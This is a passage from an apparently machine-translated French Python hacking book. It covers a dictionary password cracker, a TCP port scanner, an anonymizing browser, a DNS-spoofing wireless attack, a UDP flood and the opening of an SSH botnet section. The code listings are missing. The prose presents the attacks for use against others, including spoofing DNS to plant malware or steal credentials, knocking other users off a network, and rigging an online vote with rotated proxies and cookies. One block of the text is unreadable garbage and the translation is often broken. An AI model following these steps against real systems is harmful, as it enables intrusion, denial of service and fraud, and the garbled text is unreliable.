cette sortie après cela:

Ce qui s'est passé ici, c'est que vous sont capables de définir la fonction say_hello, qui n'a pas
de paramètres, ce qui explique pourquoi il n'y a pas de valeur indiquée entre parenthèses. Les
paramètres sont indiqués dans les fonctions afin d'inclure une entrée que vous pouvez utiliser
pour transmettre différentes valeurs à la fonction et obtenir un résultat spécifique que vous
avez à l'esprit.
Notez également que vous avez réussi à appeler la fonction deux fois dans cet exercice, ce
qui signifie que vous n'avez pas eu à réécrire tout le code pour que Python répète une action
particulière.

Paramètres de fonction
Les fonctions sont capables de prendre des valeurs qu'ils pourront utiliser, qui sont appelées
paramètres. Les paramètres agissent de la même manière que les variables, sauf que vous
définissez leurs valeurs chaque fois que vous appelez la fonction et que vous leur avez déjà
attribué des valeurs une fois que vous exécutez la fonction.
Paramètres sont spécifiés entre parenthèses lorsque vous définissez la fonction et sont
séparés par des virgules. Si vous avez besoinappel la fonction dans votre code, vous devrez
fournir les valeurs de la même manière. Notez également que lorsque vous fournissez une
valeur à votre fonction pendant que vous la nommez, ces valeurs sont appelées paramètres;
mais lorsque vous fournissez des valeurs lorsque vous appelez la fonction, ces valeurs sont
appelées arguments. Jetez un œil à cet exemple:
Enregistrez-le sous function_param.py puis exécutez-le à l'invite de l'interpréteur. Vous
devriez obtenir cette sortie:

Arguments de mots clés


Il y aura soyez des instances pendant que vous codez dans lesquelles vous avez trop de
paramètres dans votre fonction - si vous voulez en spécifier certains, vous pouvez utiliser des
arguments de mots-clés afin de donner des valeurs pour certains des paramètres. Cela vous
donnera l'avantage d'utiliser facilement la fonction sans avoir à vous soucier de l'ordre des
arguments, et que vous pourrez attribuer des valeurs aux paramètres que vous souhaitez
utiliser, en particulier lorsque les autres paramètres disponibles contiennent déjà des valeurs
d'argument sont définis par défaut.
Jetez un œil à cet exemple de code:

Enregistrez ce code sous le nom function_keyword.py, puis exécutez-le à l'invite de


l'interpréteur. Vous devriez obtenir la sortie suivante:

La déclaration de retour
Si vous voulez sortir de la fonction, ou si vous voulez retourner une valeur de la fonction, alors
cette instruction se révélera utile. Jetez un œil à cet exemple:
Enregistrez ce code sous function_return.py, puis exécutez-le à l'invite de l'interpréteur. Vous
devriez obtenir la sortie suivante:

DocStrings
Python vient avec une fonctionnalité intéressante appelée docstrings, qui est un outil que vous
pouvez utiliser pour documenter le code que vous créez et le rendre plus facile à comprendre.
Vous pouvez également obtenir une docstring à partir d'une fonction alors que le code est
déjà en cours d'exécution. Jetez un œil à cet exemple:

Enregistrez ce code sous function_docstring.py, puis exécutez-le à l'invite de l'interpréteur.


Vous devriez obtenir la sortie suivante:

Ce qui s'est passé ici, c'est que vous sont capables d'afficher la docstring de la fonction que vous
avez utilisée, qui est la première chaîne de la ligne logique initiale. Notez que les docstrings
peuvent également être utilisés dans les classes et les modules.
Itération
Là Il existe des cas dans lesquels vous pouvez trouver redondant d'écrire le même code
plusieurs fois pour effectuer une fonction similaire, telle que vérifier différentes adresses IP
ou analyser différents ports. Pour cette raison, vous souhaiterez peut-être utiliser une boucle
for à la place pour itérer le même code pour différents éléments. Par exemple, si vous
souhaitez itérer un code pour le sous-réseau d'adresses IP de 192.168.0.1 à 192.168.0.254,
vous pouvez utiliser une boucle for qui contient une plage de 1 à 255 pour afficher
l'ensemble du sous-réseau. Jetez un œil à cet exemple de code pour voir comment cela est
fait:

Si vous souhaitez itérer le même code à travers une liste de ports connus pour analyser les
vulnérabilités d'un système, vous pouvez parcourir une liste d'éléments que vous souhaitez
vérifier à la place. Jetez un œil à cet exemple:
Gestion des exceptions
Même si vous êtes déjà en mesure d'écrire un programme avec une syntaxe correcte, vous
pouvez toujours rencontrer des erreurs lors de l'exécution ou de l'exécution. Par exemple,
lorsque vous divisez quelque chose par zéro, vous risquez de rencontrer une erreur
d'exécution, car Python sait qu'il est impossible de le faire. Lorsque vous essayez d'effectuer
cette action, Python peut revenir avec cette sortie:

Si vous souhaitez corriger l'erreur pendant que vous exécutez déjà votre code, la capacité de
Python à effectuer la gestion des exceptions vous sera utile. En utilisant l'exemple ci-dessus,
vous pouvez utiliser l'instruction try ou except afin d'utiliser la gestion des exceptions afin
que lorsque l'erreur se produit, la fonction de gestion des exceptions détecte l'erreur et
imprime le message à l'écran. Jetez un œil à cet exemple:

Si vous voulez voir où l'erreur s'est spécifiquement produite dans votre script, vous pouvez
utiliser le code suivant à la place:
Modules
Si vous voulez utiliser les fonctions que vous avez déjà créées d'un autre programme à un autre,
au lieu d'avoir à réécrire tout le code, vous pouvez alors utiliser des modules.
le Le moyen le plus simple de créer des modules est de créer un fichier contenant toutes les
variables et fonctions que vous pourriez avoir besoin d'utiliser dans un futur programme, puis
de l'enregistrer dans un fichier .py. Alternativement, vous pouvez également créer vos modules
dans un langage dans lequel l'interpréteur Python est écrit, tel que le langage C. Vous pouvez
également importer un module par un autre programme et utiliser toutes les fonctionnalités qui
y sont enregistrées, ce qui revient à utiliser les bibliothèques standard que vous utilisez dans
Python.
Regardez comment vous pouvez utiliser un module de bibliothèque standard à travers cet
exemple:

Enregistrez ce code sous module_using_sys.py puis exécutez-le à l'invite de l'interpréteur.


Vous devriez obtenir cette sortie:

Ce qui s'est passé ici, c'est que vous a d'abord importé le module sys. En utilisant l'instruction
d'importation, vous êtes en mesure d'indiquer à python que vous souhaitez utiliser un
module contenant la fonctionnalité liée à l'environnement Python. Lorsque ce langage de
programmation exécute l'instruction, il recherche alors le module .sys. Puisqu'il s'agit d'un
module intégré, Python connaît l'emplacement où il se trouve.
Dans tous Si vous essayez d'importer un module écrit en Python, l'interpréteur recherchera alors
tous les répertoires répertoriés dans la variable sys.path. Une fois qu'il est trouvé, les
instructions trouvées dans ce module seront exécutées, le rendant disponible pour que vous
puissiez l'utiliser. Ce processus d'initialisation n'a lieu que la première fois que vous importez
un module.

Module Sys
Python a un module intégré qui vous donne accès à tous les objets que l'interpréteur du
langage de programmation maintient ou utilise. Appelé le module sys, ce module comprend
des arguments de ligne de commande, la taille maximale des entiers pouvant être utilisés, des
indicateurs, des hooks de chemin, ainsi que d'autres modules disponibles.
Étant capable d'interagir avec le module sys vous permettra de créer différents scripts que
vous pourrez utiliser à différentes fins de piratage. Par exemple, vous souhaiterez peut-être
analyser différents arguments de ligne de commande pendant l'exécution. Si vous envisagez
de créer un analyseur pour découvrir les vulnérabilités du système, vous souhaiterez peut-être
passer un nom de fichier comme argument de ligne de commande, ce qui peut être fait en
utilisant la liste sys.argv qui comprend tous les arguments de ligne de commande. Jetez un
œil à cet exemple de code pour voir comment ce module est utilisé:

Lorsque vous exécutez ceci morceau de code, vous verrez que l'argument de la ligne de
commande a été analysé, puis Python imprime les résultats à l'écran. La sortie ressemblera à
ceci:

Module OS
Module OS de Python fournit un grand nombre de routines pour différents systèmes
d'exploitation, tels que Mac, Posix et NT. À l'aide de ce module, vous pouvez autoriser le
langage de programmation à interagir seul avec le système de fichiers, les autorisations, la base
de données utilisateur et différents environnements OS.
En utilisant le exemple précédent, vous, l'utilisateur, avez soumis un fichier texte comme
argument de ligne de commande. Cependant, il sera également utile de vérifier si le fichier que
vous avez transmis existe et si l'utilisateur actuel de la machine que vous ciblez dispose des
autorisations nécessaires pour lire ce fichier. Pour déterminer cela, vous pouvez créer un code
qui affichera un message d'erreur si l'une des conditions n'est pas remplie. Vous pouvez utiliser
ce code pour ce faire:

Pour vérifier votre code, vous pouvez essayer de lire un fichier qui n'est pas disponible dans le
système, ce qui entraînera le script que vous venez de saisir pour afficher l'erreur. Ensuite,
vous pouvez entrer un nom de fichier qui sera lu avec succès. Enfin, vous pouvez créer des
restrictions d'autorisation et voir que le script que vous avez créé imprime un message
d'accès refusé classique:
p rageazzzer ¥ pyt hon Je: es je . py vu1 n - ba nn euh
s . je xt [ - } ¥ u1n - ba nner s. je xt ré oe s pas ex J s t .
p rogr aea + ier ¥ r ou ch ¥ u1 n - ba nner s. je xt
p rogr aea + ier ¥ fosse hon JE: es je . p j/ vu T n - ba nn euh s . JE: xt
£ + J Rea ré J ng Oui u1 n euh abJ T J je J es F couru .
vuDans - bannières . SMS p rogr aea + ier ¥ c h + gazon d0D
vu1 n- ba nner s . je xt
p rogr aea + ier ¥ fosse hon JE: es je . p j/ vu T n - ba
nn euh s . JE: xt [ - } ¥ u1n - ba nner s. je xt une cces
sd fr J e4.
La bibliothèque standard Python
La bibliothèque de Python est à peu près la collection de presque tous les éléments de ce langage
de programmation. Cette vaste collection contient plusieurs modules intégrés qui vous
permettent d'accéder à différentes fonctionnalités du système. La bibliothèque standard Pythons
est également chargée de vous fournir l'accès aux modules, qui sont conçus pour améliorer la
portabilité inhérente à Python.
Cela signifie que vous êtes en mesure de vous débarrasser des plates-formes lorsqu'il s'agit de
créer vos codes.
Si vous exécutez Python à partir d'une machine Windows, vous aurez probablement toute la
bibliothèque standard incluse dans votre installation. Si vous utilisez UNIX ou tout autre
système d'exploitation similaire, vous devrez peut-être utiliser les outils de création de package
disponibles dans votre système d'exploitation si vous souhaitez obtenir certains des composants
facultatifs.
À ce stade, vous connaissent déjà les bases de Python. Au fur et à mesure que vous créez vos
propres codes pour pirater ou importer des modules à partir de bibliothèques, vous pourrez
découvrir plus de fonctionnalités et savoir à quoi elles servent.
Puisque vous apprenez à coder pour pirater, la meilleure façon pour vous d'accélérer votre
rythme est d'apprendre en créant des outils que vous pouvez utiliser pour le piratage. Cela
signifie qu'il est temps pour vous de faire les choses excitantes!
Chapitre 7: Configuration pour le piratage

À ce stade, vous avez une idée de base du fonctionnement de Python et de la façon dont les
programmes ont été créés à l'aide de ce langage de programmation. Vous êtes maintenant prêt
à apprendre comment utiliser les scripts Python pour compromettre des sites Web, des
réseaux, etc.
Apprendre à pirater implique de pouvoir configurer le bon environnement dans lequel vous
pouvez travailler afin de développer vos propres outils d'exploitation. Comme vous avez déjà
installé Python et la bibliothèque standard qui l'accompagne, vous êtes à peu près configuré
pour le piratage. Il ne vous reste plus qu'à installer d'autres outils et bibliothèques que vous
pourrez utiliser pour les exploits qui seront détaillés dans ce livre.
Installation de bibliothèques tierces
Les bibliothèques tierces sont essentiellement des bibliothèques qui ne sont pas livrées
nativement avec votre installation de Python. Tout ce que vous devez faire pour les obtenir est
de les télécharger à partir d'une source ciblée, d'effectuer une décompression sur le package
que vous venez de télécharger, puis de passer dans le répertoire cible.
Comme vous pourriez avoir déjà deviné, les bibliothèques tierces sont extrêmement utiles quand
il s'agit de développer vos propres outils à partir des ressources déjà créées par quelqu'un
d'autre. Étant donné que Python est un langage de programmation hautement collaboratif, vous
pouvez utiliser des bibliothèques que vous pouvez trouver à partir de sources de sites Web
telles que GitHub ou le site Web Python et les incorporer dans votre code. Là
Une fois que vous se trouvent dans le répertoire, vous pouvez installer le package téléchargé à
l'aide de la commande python setup.py install. Jetez un œil à cet exemple pour voir comment
cela se fait:
Ce qui vient de se passer ici, c'est que vous avez pu installer un package qui vous permettra
d'analyser
nmap résultats en téléchargeant le package python-nmap.
Astuce: si vous souhaitez établir votre environnement de développement plus rapidement,
vous pouvez obtenir une copie de BackTrack Linux Penetration Distribuion, qui vous permet
essentiellement d'accéder aux outils utilisés pour la criminalistique, l'analyse de réseau, les
tests de pénétration et les attaques sans fil.
Votre premier programme Python: un cracker de mot de passe
La force de Python réside dans la bibliothèques robustes que vous pouvez utiliser lors de la
création de vos propres programmes. Ce programme Python vous apprendra non seulement
comment déchiffrer des mots de passe, mais vous aidera également à apprendre à intégrer
une bibliothèque dans votre code et à obtenir les résultats que vous souhaitez.
À écrivez ce cracker de mot de passe, vous aurez besoin d'un algorithme crypt () qui vous
permettra de hacher les mots de passe qui sont au format UNIX. Lorsque vous lancez
l'interpréteur Python, vous verrez en fait que la bibliothèque de cryptage dont vous avez
besoin pour ce code se trouve déjà dans la bibliothèque standard. Maintenant, pour calculer
un hachage chiffré d'un mot de passe UNIX, tout ce que vous avez à faire est d'appeler la
fonction crypt.crypt (), puis de définir le mot de passe et le sel comme paramètres. Le code
doit renvoyer avec une chaîne contenant le mot de passe haché.
Voici comment procéder:

Maintenant, c'est à votre tour peut essayer de hacher le mot de passe d'une cible avec la
fonction crypt (). Une fois que vous êtes en mesure d'importer la bibliothèque nécessaire, vous
pouvez maintenant envoyer les paramètres salt «HX» et le mot de passe «egg» à la fonction.
Lorsque vous exécutez le code, vous obtiendrez un mot de passe haché contenant la chaîne
«HX9LLTdc / jiDE». Voici à quoi devrait ressembler la sortie:

Quand cela arrive, vous peut simplement écrire un programme qui utilise l'itération dans tout un
dictionnaire, qui essaiera contre chaque mot qui donnera éventuellement le mot utilisé pour le
mot de passe.
Maintenant, vous devrez créez deux fonctions que vous pouvez utiliser dans le programme que
vous allez écrire, qui sont testPass et main. La fonction principale extraira le fichier contenant
le mot de passe chiffré, qui est password.txt, et lira ensuite tout le contenu des lignes que
contient le fichier de mot de passe. Ensuite, il divisera les lignes en le mot de passe haché et
son
nom d'utilisateur correspondant. Après cela, la fonction principale appellera la fonction testPass
pour tester les mots de passe hachés par rapport au dictionnaire.
le La fonction testPass prendra le mot de passe qui est toujours chiffré en tant que paramètre et
reviendra après avoir épuisé les mots disponibles dans le dictionnaire ou après avoir déchiffré
le mot de passe avec succès. Voici à quoi ressemblera le programme:

Lorsque vous exécutez ce code, vous pourrez voir cette sortie:


Juger à partir de ces résultats, vous pourrez en déduire que le mot de passe du nom
d'utilisateur «victime» se trouve dans le dictionnaire dont vous disposez. Cependant, le mot de
passe du nom d'utilisateur «root» est un mot que votre dictionnaire ne contient pas. Cela
signifie que le mot de passe de l'administrateur dans le système que vous essayez d'exploiter
est plus sophistiqué, mais peut éventuellement être contenu dans un autre type de dictionnaire.
À ce stade, vous sont désormais capables de mettre en place un environnement de piratage idéal
pour Python et d'apprendre à utiliser les ressources disponibles d'autres pirates. Maintenant que
vous êtes en mesure de créer votre premier outil de piratage, il est temps pour vous de
découvrir comment vous pouvez créer vos propres scripts de piratage!
Chapitre 8: Piratage de réseau

Une attaque réseau est un processus ou une tactique qui permettra à un pirate
informatique de compromettre la sécurité d'un réseau. Lorsque vous êtes en mesure
d'effectuer une attaque réseau, vous pouvez utiliser le compte d'un utilisateur et les
privilèges qui lui sont attachés, voler ou modifier des données stockées, exécuter un code
pour corrompre un système ou des données, ou empêcher un utilisateur autorisé d'accéder
à un service .
Dans ce chapitre, vous apprendrez à attaquer un réseau utilisant des outils et des codes tiers que
vous pouvez écrire à l'aide de Python. Dans le même temps, vous gagnerez également une
meilleure connaissance de la manière dont les pirates informatiques obtiennent des
informations sur leur cible et effectuent des attaques en fonction des vulnérabilités qu'ils ont
pu découvrir.
Reconaissance: la salve d'ouverture à votre attaque
Le piratage un système commence par la reconnaissance, qui est la découverte de
vulnérabilités stratégiques dans le réseau avant de lancer une cyber-attaque. Vous pouvez
considérer cela comme la recherche d'un pirate informatique sur ses cibles - plus ils en savent
sur le réseau qu'ils veulent pirater, plus ils peuvent recueillir d'idées sur les meilleurs outils
qu'ils peuvent utiliser pour lancer des attaques les plus probables. de ne pas être détecté par
l'utilisateur ciblé tout en causant le plus de dégâts possible.
Prenez note que tout le monde peut être la cible d'un pirate informatique, ce qui signifie
qu'apprendre comment les pirates effectuent la reconnaissance signifie également pouvoir
protéger votre propre système. Chaque fois que vous vous connectez à Internet et que vous
envoyez des données sur le Web, vous laissez derrière vous des empreintes de pas que les
pirates peuvent vous remonter. Lorsque cela se produit, il est possible que des pirates
informatiques veuillent étudier vos activités sur votre réseau et découvrir des vulnérabilités
dans votre système qui leur permettront de s'infiltrer et de voler plus facilement des données
qui peuvent leur être utiles.
Dans ce section, vous apprendrez à créer des scripts simples qui vous permettront d'analyser
les ports TCP vulnérables de votre cible. Afin d'interagir avec ces ports ouverts, vous devrez
également créer des sockets TCP.
Python en est un des langages de programmation modernes qui vous permettent d'accéder aux
interfaces de socket BSD. Si vous êtes nouveau dans ce concept, les sockets BSD vous offrent
une interface qui vous permettra d'écrire des applications afin que vous puissiez communiquer
avec un réseau directement entre les hôtes. En utilisant une série d'utilitaires API de socket,
vous pourrez vous connecter, écouter, créer, lier ou envoyer du trafic sur les sockets TCP / IP
d'une cible.
Ce qui se produit quand vous êtes en mesure d'exploiter le TCP d'une cible? Si vous êtes en
mesure de connaître l'adresse IP et les ports TCP associés au service que vous souhaitez
cibler, vous pouvez mieux planifier votre attaque. La plupart du temps, ces informations sont
disponibles pour les administrateurs système d'une organisation et ces données sont également
quelque chose que les administrateurs doivent cacher à tout attaquant. Avant de pouvoir lancer
une attaque sur un réseau, vous devrez d'abord obtenir ces informations.

Création de votre scanner de port

L'analyse des ports est une méthode qui vous permet d'évaluer lequel des ports d'un
ordinateur ciblé est ouvert et quel type de service s'exécute sur ce port spécifique. Étant
donné que les ordinateurs fonctionnent pour communiquer avec d'autres appareils et
exécutent une fonction en ouvrant un port pour envoyer et recevoir des données, les ports
ouverts peuvent être une vulnérabilité que les pirates voudront exploiter. Pensez à un port
ouvert comme étant similaire à une fenêtre ouverte pour un cambrioleur - ces ports ouverts
servent de passage gratuit à tout pirate informatique qui voudra voler des données ou
s'installer dans un ordinateur pour exploiter ses faiblesses pendant une période prolongée. .
Prenez note que l'analyse des ports n'est pas une activité illégale à faire - en fait, le personnel de
sécurité du réseau analyse les ports des ordinateurs clients afin de connaître leurs vulnérabilités
et d'appliquer le protocole de sécurité nécessaire. Cependant, l'analyse des ports est également
le meilleur moyen pour tout pirate informatique de découvrir de nouvelles victimes et de
trouver le meilleur moyen de pirater son système. Dans le même temps, des analyses de port
répétitives peuvent également entraîner un déni de service, ce qui signifie qu'un utilisateur
légitime peut ne pas être en mesure d'utiliser un
service de réseau particulier en raison des ports épuisant leurs ressources.
Un scanner de port vous permettra de regarder les hôtes et les services qui leur sont attachés.
Ils essentiellement Cette section permettra d'écrire votre propre programme pour un scanner de
port TCP qui sera capable de faire une analyse de connexion complète au TCP de la cible afin
d'identifier les hôtes que vous voudrez peut-être exploiter à l'avenir en utilisant le socket
intégré. dans le module, qui à son tour vous donne accès à l'interface de socket BSD.
Comme vous l'avez peut-être déjà deviné, les sockets sont principalement derrière tout ce qui
implique des communications réseau. Lorsque vous ouvrez un navigateur Web, votre
ordinateur ouvre un socket afin de communiquer avec un serveur Web. La même chose se
produit lorsque vous communiquez avec d'autres ordinateurs en ligne ou envoyez une demande
à votre imprimante via votre Wi-Fi.
Jetez un œil à certaines des fonctions de socket que vous allez utiliser:
Avec ces informations, vous peut créer un simple scanner de port qui vous permettra de vous
connecter à chaque port que vous pouvez définir et qui correspond à un hôte particulier.
Ouvrez votre éditeur de texte, puis enregistrez le code suivant sous le nom portscanner.py:
Lorsque vous exécutez ce programme à l'invite de l'interpréteur, voici à quoi devrait ressembler
la sortie:
Utilisation de la bibliothèque Mechanize pour effectuer une reconnaissance
anonyme
La plupart des ordinateurs les utilisateurs utilisent un navigateur Web pour naviguer sur les
sites Web et afficher le contenu sur Internet. Chaque site Web a des fonctionnalités
différentes, mais lira généralement un document texte particulier, l'analysera, puis l'affichera
à un utilisateur, tout comme la façon dont un fichier source interagit avec l'interpréteur
Python.
En utilisant Python, vous peut naviguer sur Internet en récupérant et en analysant le code
source HTML d'un site Web. Il existe différentes bibliothèques fournies avec ce langage de
programmation qui peuvent gérer le contenu Web, mais pour ce hack, vous utiliserez
Mechanize, qui inclut la classe principale appelée Browser. Jetez un œil à cet exemple de
script qui vous montrera comment obtenir le code source d'un site Web:

Lorsque vous exécutez ceci script, vous verrez le code HTML de syngress.com pour leur page
d'index, qui ressemblera à ceci:

Garantir l'anonymat lors de la navigation


Maintenant que tu sais comment obtenir une page Web, vous voudrez créer un script qui vous
permettra de récupérer de manière anonyme des informations à partir d'un site Web. Comme
vous le savez peut-être déjà, les serveurs Web veillent à enregistrer les adresses IP des
différents utilisateurs qui consultent leurs sites Web afin de les identifier. Cela peut
généralement être évité en utilisant un VPN (réseau privé virtuel) ou en utilisant Tor.
Ce qui se produit lorsque vous utilisez un VPN, tout le trafic est automatiquement acheminé
vers le réseau privé. Avec ce concept, vous avez l'idée que vous pouvez utiliser Python pour
vous connecter aux serveurs proxy à la place, ce qui donnera à votre programme une couche
supplémentaire d'anonymat.
Vous pouver utiliser la classe Browser pour spécifier un serveur proxy qui sera utilisé par un
programme particulier. Pour ce script, vous pouvez utiliser le proxy HTTP fourni par
www.hidemyass.com. Juste dans n'importe quelSi ce proxy n'est plus disponible pour être
utilisé, vous pouvez simplement aller sur le site Web et sélectionner un proxy HTTP que
vous pouvez utiliser. Vous pouvez également obtenir d'autres bons proxys pour vos codes
surhttp://rmccurdy.com/scripts/proxy/good.txt.

Vous serez alors voyez que le site Web auquel vous essayez d'accéder pense que vous utilisez
l'adresse IP 216.155.139.115, qui est en fait l'adresse IP que votre proxy vous a fournie.
Maintenant, continuez à créer votre script:

À ce stade, votre navigateur contient déjà une seule couche d'anonymat. Cependant, les sites
Web utilisent une chaîne appelée user-agent afin d'identifier les utilisateurs uniques qui se
connectent à leur site. Cette chaîne permettra généralement au site Web d'obtenir des
informations utiles sur un utilisateur afin de fournir un code HTML personnalisé, qui offre
ensuite une meilleure expérience utilisateur. Cependant, les sites Web malveillants peuvent
également utiliser ces informations pour exploiter le navigateur utilisé par un utilisateur ciblé.
Par exemple, certains sites Web de voyage utilisent certaines chaînes d'agent utilisateur pour
détecter les utilisateurs qui naviguent à l'aide de Macbooks, qui donnent ensuite à ces
utilisateurs des options plus coûteuses.
Puisque vous utilisez Mechanize, vous pouvez modifier la chaîne de l'agent utilisateur
comme vous le faites pour le proxy. Vous pouvez utiliser les chaînes d'agent utilisateur
disponibles à partir de http://www.useragentstring.com/pages/useragentstring.php que vous
pouvez utiliser pour la prochaine fonction que vous allez créer. Maintenant, vous allez créer
un script qui vous permettra de tester une modification sur votre chaîne user-agent dans le
navigateur Netscape:
Lorsque vous exécutez ceci code, vous pourrez voir que vous pouvez parcourir une page Web
en utilisant une fausse chaîne user-agent. Le site Web sur lequel vous naviguez pense
maintenant que vous utilisez un navigateur Netscape 6.01 au lieu d'utiliser simplement
Python pour récupérer la page.

Ce qui se passe après, c'est que Les sites Web que vous allez visiter tenteront de présenter des
cookies qu'ils pourront utiliser comme identifiant unique afin de vous identifier en tant que
visiteur régulier lorsque vous reviendrez sur leur site la prochaine fois. Pour éviter que ces
sites Web ne vous identifient, vous devrez vous assurer que vous effacez tous les cookies de
votre navigateur chaque fois que vous exécutez des fonctions dont vous souhaitez rester
anonyme. Une autre bibliothèque intégrée en Python, appelée Cookelib, vous permettra
d'utiliser différents types de conteneurs qui vous permettront de gérer les cookies que ce site
Web vous présente. Pour ce script, vous utiliserez un type de conteneur qui vous permettra
d'enregistrer les cookies sur le disque, puis d'imprimer les cookies que vous avez reçus
pendant votre session:
Lorsque vous exécutez ce script, vous verrez votre cookie d'identification de session pour
naviguer sur le site Syngress:

Finalisez votre Navigateur anonyme dans une classe Python


À ce stade, vous avez une idée de toutes les fonctions que vous souhaitez inclure dans votre
navigateur anonyme, et que pour rendre l'ensemble du processus d'importation de toutes ces
fonctions dans tous les fichiers que vous créerez à l'avenir, vous devrez transformer cela en
un classe. Cela vous permettra d'appeler simplement la classe à l'aide d'un objet navigateur à
l'avenir. Ce script vous aidera à faire ceci:
Cette classe contient désormais des agents utilisateurs list, tout comme la liste des serveurs
proxy que vous voudrez peut-être utiliser lorsque vous naviguez. Il contient également les
fonctions que vous avez pu créer précédemment, que vous pouvez appeler individuellement
ou en une seule fois à l'aide de la fonction d'anonymisation. La fonction d'anonymisation vous
permettra également de sélectionner l'option d'attendre 60 secondes, ce qui augmentera le
temps des demandes que vous envoyez. Bien que cela ne change rien aux informations que
vous soumettez au site Web, cette étape réduira les chances que les sites Web que vous visitez
reconnaissent que les informations qui leur sont envoyées proviennent d'une seule source.
Vous remarquerez également que le fichier anonBrowser.py inclut cette classe, et doit être
enregistré dans un répertoire local contenant les scripts qui l'appelleront.
Maintenant, c'est à votre tour peut écrire un script dans lequel vous pouvez utiliser la classe
que vous venez de créer. Dans cet exemple, vous entrerez des votes pour un concours en
ligne sur le site kittenwar.com où vous devrez voter pour des chatons en fonction de leur
gentillesse. Étant donné que les votes sur le site Web seront tabulés en fonction de la session
de l'utilisateur, vous devrez avoir des visites uniques sur le site Web en
pour que vos votes soient comptés. En utilisant ce script, vous devriez pouvoir visiter le site
Web ciblé de manière anonyme cinq fois, ce qui vous permettra de saisir cinq votes en
utilisant le même ordinateur:

Après avoir exécuté ceci script, vous pourrez récupérer la page Web ciblée en utilisant cinq
sessions uniques différentes, ce qui signifie que vous utilisez différents cookies à chaque fois
que vous visitez.
Attaque sans fil: attaque Dnspwn
Cette attaque est créée à l'aide de l'outil airpwn, qui est un cadre d'injection de paquets pour le
sans-fil 802.11. Cet outil est créé pour écouter les paquets entrants, puis injecte du contenu au
point d'accès lorsque les données entrantes correspondent à un modèle spécifié dans le fichier
de configuration. Pour votre cible, votre airpwn ressemble et se comporte comme le serveur
avec lequel il essaie de communiquer. Cet outil a d'abord été créé pour cibler HTTP, mais il
peut également être utilisé pour exploiter DNS.
Dans Une essence, l'utilisation d'une attaque dnspwn implique d'attirer votre cible pour
qu'elle visite une page Web malveillante qui installera un logiciel malveillant sur votre
cible par téléchargement, ou d'usurper un site Web particulier pour voler les informations
d'identification de votre cible. Pour effectuer cette attaque, vous devrez avoir Backtrack ou
Kali Linux installé sur votre ordinateur, ainsi qu'un adaptateur de carte sans fil.
Suivez ces étapes:
1. Configurez votre moniteur sans fil
Afin de renifler l'activité sans fil de votre cible, vous devrez configurer votre adaptateur
de carte sans fil en mode moniteur. Pour ce faire, tirez airmon-ng de Kali Linux, puis
entrez la commande suivante.

Maintenant, vous allez être en mesure de capturer des données directement dans le
réseau demo_insecure (cible). Une fois que vous avez un moniteur opérationnel,
vous pouvez commencer à créer le code de votre attaque.
2. Créez votre code.
Vous aurez besoin de faire usage du module scapy afin d'effectuer l'attaque dnspwn.
Pour ce faire, vous devrez renifler tous les paquets UDP fournis avec la destination
du port 53, puis envoyer le paquet à la fonction send_response que vous créerez plus
tard.

Maintenant que vous avez le scapy, nous pouvons maintenant créer la fonction qui
vous permettra d'interpréter la requête des informations nécessaires et ensuite de faire
l'injection de réponse. Vous pouvez le faire en travaillant sur les couches suivantes:
Cadre 802.11 - basculez le drapeau «to-ds» sur «from-ds», ce qui donnera
l'impression que les demandes que vous faites proviennent du point d'accès
802.11 Frame - changez les adresses Mac de la destination et de la source
IP layer - changer les adresses IP de la couche UDP de
destination et source - changer les ports de la destination et de
la source
DNS layer - Mettez le drapeau «réponse», puis ajoutez la réponse que vous avez
usurpée.
le Le module scape simplifie l'ensemble du processus en supprimant de nombreux
détails dont vous n'avez pas à vous soucier. Une fois que les autres détails ont été
résumés par scapy, vous pouvez utiliser le code suivant:

À ce stade, vous avez tous les drapeaux prêt pour votre attaque. L'étape suivante
consiste à créer et à ajouter la réponse DNS:
Enfin, injectez la réponse que vous avez usurpée:
Exclure un utilisateur de votre réseau

Ce hack est une solution dont vous rêviez peut-être, surtout si vous utilisez un réseau qui
compte de nombreux autres utilisateurs. Comme vous l'avez peut-être remarqué, il existe une
certaine limite en ce qui concerne l'envoi et la réception de données via le réseau et vos propres
interfaces réseau. La raison de cette limite est la quantité de bande passante dont vous disposez,
et si d'autres utilisateurs ne monopolisent pas la bande passante, plus vos connexions seront
rapides.
Quand tout le bande passante qui devrait être disponible pour vous, vous rencontrez un DoS
(Denial of Service). Vous pouvez en fait forcer un DoS à un autre utilisateur en recherchant et
en manipulant le service d'un hôte distant. Une fois que vous avez déjà trouvé ce service, vous
pouvez faire en sorte que le programme se comporte d'une manière qu'il n'est pas censé faire,
ce qui obligera l'hôte distant à utiliser toutes ses ressources disponibles, puis à le mettre hors
ligne. Alternativement, vous pouvez également provoquer une inondation UDP, ce qui se fait
en envoyant une énorme quantité de paquets UDP à plusieurs ports sur l'hôte distant de votre
cible. Cela amènera l'hôte à ignorer toute application qui écoute cet hôte particulier, puis à
répondre avec un paquet indiquant que la destination ICMP est inaccessible.
Pour ce faire, tout ce que vous avez à faire est de sortir votre éditeur de texte et de saisir le code
suivant:

Enregistrez ce code sous udpflood.py, puis sélectionnez toutes les options de fichier lors de
l'enregistrement. Pour exécuter le code, tirez sur IDLE, puis exécutez le programme, qui vous
demandera d'entrer toutes les autres informations dont vous avez besoin. Notez que ce hack
est dirigé vers un seul port, mais si vous souhaitez exploiter tous les 65535 ports disponibles.
Chapitre 9: Hacks pour le Web

Tu peux vous demandez comment contourner certaines politiques de protection de site Web
afin d'obtenir un fichier que vous voulez, naviguer de manière anonyme ou obtenir plus
d'informations sur le site Web que vous souhaitez pénétrer pour lancer une attaque massive.
Dans ce chapitre, vous apprendrez comment vous pouvez effectuer des hacks Creat sur un site
Web à l'aide de certains programmes que vous pouvez créer à l'aide de Python.
Créer un botnet SSH
Maintenant que vous savez comment créer un scanner de port et que vous savez comment
trouver des cibles vulnérables, vous pouvez maintenant procéder à l'exploitation de leurs
vulnérabilités. L'un des moyens d'y parvenir consiste à exploiter le protocole Secure Shell
(SSH) afin d'obtenir les informations de connexion des clients.
Quel est un botnet? Les robots, comme leur nom l'indique, sont incroyablement utiles lorsqu'il
s'agit d'automatiser les services sur pratiquement tous les appareils. Les botnets, quant à eux,
sont un groupe de bots reliés entre eux par un réseau qui permet aux administrateurs système
d'effectuer efficacement des tâches automatisées sur tout un système d'utilisateurs qui sont
connectés entre eux par un serveur ou un réseau local. Bien que les botnets soient
essentiellement des outils permettant de gérer facilement plusieurs ordinateurs, ils peuvent
également être des outils que vous pouvez utiliser à des fins non intentionnelles, telles que la
création d'un DoS ou DDoS (DDoS (Déni de service distribué)) pouvant entraîner le
chargement d'un site Web plusieurs fois dans une session ou pour commenter en permanence
